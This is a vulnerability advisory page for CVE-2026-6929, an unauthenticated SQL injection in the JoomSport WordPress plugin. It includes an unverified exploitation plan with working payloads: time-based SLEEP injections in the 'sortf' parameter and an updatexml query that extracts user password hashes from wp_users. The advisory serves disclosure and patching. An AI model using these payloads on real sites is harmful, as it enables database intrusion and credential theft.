CVE-2026-6929

JoomSport <= 5.7.7 - Unauthenticated SQL Injection via 'sortf' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
5.7.8
Patched in
1d
Time to patch

Description

The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'sortf' parameter in all versions up to, and including, 5.7.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.7.7
PublishedMay 12, 2026
Last updatedMay 13, 2026

What Changed in the Fix

Changes introduced in v5.7.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-6929 (JoomSport SQL Injection) ## 1. Vulnerability Summary The **JoomSport** plugin (versions <= 5.7.7) is vulnerable to **unauthenticated time-based blind SQL Injection**. The vulnerability exists in the handling of the `sortf` (sort field) parameter, which …

Show full research plan

Exploitation Research Plan - CVE-2026-6929 (JoomSport SQL Injection)

1. Vulnerability Summary

The JoomSport plugin (versions <= 5.7.7) is vulnerable to unauthenticated time-based blind SQL Injection. The vulnerability exists in the handling of the sortf (sort field) parameter, which is used to dynamically order SQL queries without proper sanitization or preparation. Because this parameter is directly concatenated into an ORDER BY or similar clause, an attacker can inject arbitrary SQL commands. The "unauthenticated" nature of the vulnerability suggests it is reachable via public-facing shortcodes or wp_ajax_nopriv handlers.

2. Attack Vector Analysis

  • Endpoint: A WordPress page containing the [jsStandings] or [jsPlayerStat] shortcode, or the admin-ajax.php endpoint.
  • Hook/Action: Likely processed within the JoomsportShortcodes::joomsport_standings or a related AJAX action called by the frontend scripts (e.g., jsjoomsport-standings).
  • Vulnerable Parameter: sortf (and potentially sortd for sort direction).
  • Authentication: None required (Unauthenticated).
  • Preconditions: A tournament and season must be configured so that the plugin executes the vulnerable database queries to render the standings or player lists.

3. Code Flow

  1. Entry Point: An unauthenticated user visits a page containing the [jsStandings] shortcode with a sortf parameter in the URL.
  2. Shortcode Handling: JoomsportShortcodes::joomsport_standings($attr) is triggered.
  3. Object Initialization: The code instantiates classJsportSeason (defined in sportleague/classes/class-jsport-season.php).
  4. Data Processing: The season object calls calculateTable() or getLists().
  5. Vulnerable Sink: Inside the core logic (likely in sportleague/models/ or sportleague/classes/), the code retrieves $_REQUEST['sortf'].
  6. SQL Execution: The value is concatenated into a $wpdb->get_results() query string to handle column sorting (e.g., ... ORDER BY {$sortf} {$sortd}).

4. Nonce Acquisition Strategy

Based on the plugin's architecture in includes/joomsport-actions.php and includes/joomsport-shortcodes.php, nonces are often used for admin actions (like joomsport_order_matchdays), but frontend viewing shortcodes typically do not require nonces for simple GET-based sorting.

However, if the injection occurs via an AJAX request triggered by joomsport_standings.js:

  1. Identify the Script: JoomsportShortcodes::joomsport_standings enqueues jsjoomsport-standings.
  2. Create Page: wp post create --post_type=page --post_status=publish --post_content='[jsStandings id="1"]' (using an actual Season ID).
  3. Navigate: Use the browser to visit the page.
  4. Extract: If localized data exists, it might be in a variable like jsStandingsObj. Use browser_eval("window.jsStandingsObj?.nonce").
    Note: If the vulnerability is truly unauthenticated and reachable via simple GET, the nonce acquisition step may be skipped.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload via a GET request.

  • Step 1: Identification
    Target a page with the standings shortcode.
    GET /?page_id=XX&sortf=1 (Baseline)
  • Step 2: Injection
    Inject a SLEEP() command into the sortf parameter.
    • Payload: (SELECT(1)FROM(SELECT(SLEEP(5)))a)
    • Full URL: http://localhost:8080/?page_id=XX&sortf=(SELECT(1)FROM(SELECT(SLEEP(5)))a)
  • Step 3: Verification
    If the response is delayed by ~5 seconds, SQL injection is confirmed.

6. Test Data Setup

The plugin requires a valid Tournament and Season structure to execute the vulnerable queries.

  1. Create Tournament:
    wp term create joomsport_tournament "Major League" --description="Test Tournament"
  2. Create Season:
    wp post create --post_type=joomsport_season --post_title="Season 2026" --post_status=publish
  3. Identify IDs: Get the ID of the created Season (e.g., 123).
  4. Create Page:
    wp post create --post_type=page --post_title="Standings" --post_status=publish --post_content='[jsStandings id="123"]'
  5. Create Participants: Use wp post create --post_type=joomsport_team to add at least two teams and link them to the season (this may require setting _joomsport_season_teams in post meta).

7. Expected Results

  • Vulnerable Response: The HTTP request takes significantly longer than the baseline (e.g., 5+ seconds).
  • Data Extraction (Manual Verification): An attacker could extract the database version or admin password hashes using conditional time delays:
    sortf=(SELECT IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0))

8. Verification Steps

  1. Monitor MySQL Logs: Enable the general log in MySQL to see the raw query being executed.
    SET GLOBAL general_log = 'ON';
  2. Check Query: Look for the injected SLEEP command inside an ORDER BY clause in the log.
  3. Confirm Patched Version: Upgrade to 5.7.8 and verify the same payload no longer causes a delay.

9. Alternative Approaches

  • Boolean-based: If the page content changes based on the sort (e.g., order of teams), use sortf=IF(1=1, team_name, id) vs sortf=IF(1=2, team_name, id).
  • Error-based: Try triggering a database error to extract data via GTID_SUBSET or updatexml:
    sortf=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
  • AJAX Endpoint: If the GET request doesn't work, check for an AJAX action named joomsport_standings_load or similar by inspecting the sportleague/assets/js/joomsport_standings.js file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.